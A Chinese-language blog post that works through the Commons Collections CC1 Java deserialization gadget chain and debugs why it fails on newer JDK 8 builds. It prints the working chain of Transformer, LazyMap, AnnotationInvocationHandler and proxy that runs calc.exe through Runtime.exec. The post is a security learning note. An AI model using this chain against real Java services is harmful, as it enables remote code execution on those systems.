调试分析CommonCollection1中的一个小问题

Posted by kuron3k0 on March 30, 2021

调CC1的时候脑子有个地方没转过弯来,这里做一下笔记

CommonCollection1反序列化链

网上相关的分析文章有很多,这里就不详细展开了,大概过一下整个流程。

首先是构造Transformer链,用于后面到达漏洞点执行命令

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class,Class[].class }, 
        new Object[] { "getRuntime",new Class[0] }),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class,Object[].class }, 
        new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", 
        new Class[] { String.class},
        new String[] { "calc.exe" }),
};

Transformer transformerChain = new ChainedTransformer(transformers);

新建一个LazyMap,调用LazyMap.get即可触发transformerChain的命令执行

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这里是LazyMap.get的源码,可以看到调用了this.factory(即之前传进来的transformerChain)的transform方法

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

AnnotationInvocationHandler这个类的invoke方法会调用this.memberValues.getmemberValues是初始化的时候传进来的LazyMap

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

然后在这个InvocationHandler外面套一层动态代理,使其在调用任意方法的时候触发invoke函数,最后再包一层InvocationHandler用作反序列化

Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[] {Map.class},handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

高版本jdk的问题

但是这个payload在高版本jdk是利用不了的,看p神的文档说是因为AnnotationInvocationHandler的逻辑改了,具体可以看这里

我调试的时候本地jdk是1.8.0_271,的确是利用不了的,但是当时看代码的时候觉得,既然这里AnnotationInvocationHandler调用了memberValuesentrySet,就会触发invoke方法,那为什么调用不了?虽然按上面说的逻辑变了,但是似乎对这个过程没什么影响?

于是跟着进了invoke,发现memberValues变成了LinkedHashMap;,???

翻了挺多文章也没看到具体是为什么失效了,都是说jdk版本高了,然后就利用不了了,这里卡了挺久的。后来突然发现readObject开头调用了ObjectInputStreamreadFields方法(眼瞎。。),虽然没见过这个函数,但是大概猜的出来就是反序列化当前对象的属性

跟进readFields的源码可以看到的确是如此

void readFields() throws IOException {
    bin.readFully(primVals, 0, primVals.length, false);

    int oldHandle = passHandle;
    ObjectStreamField[] fields = desc.getFields(false);
    int numPrimFields = fields.length - objVals.length;
    for (int i = 0; i < objVals.length; i++) {
        objVals[i] = readObject0(Object.class, fields[numPrimFields + i].isUnshared());
        objHandles[i] = passHandle;
    }
    passHandle = oldHandle;
}

调试中也看到了AnnotationInvocationHandlerreadObject被调用了两次,很明显这个AnnotationInvocationHandler就是memberValues被初始化为LazyMap的那个

但是在最后把memberValues赋值为一个新的LinkedHashMap,所以LazyMap就被替换掉了,利用失败。之前一直不清楚后面这两句UnsafeAccessor是怎么生效的,原来是在这里

参考

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d https://marcuseddie.github.io/2018/java-ObjectInputStream.html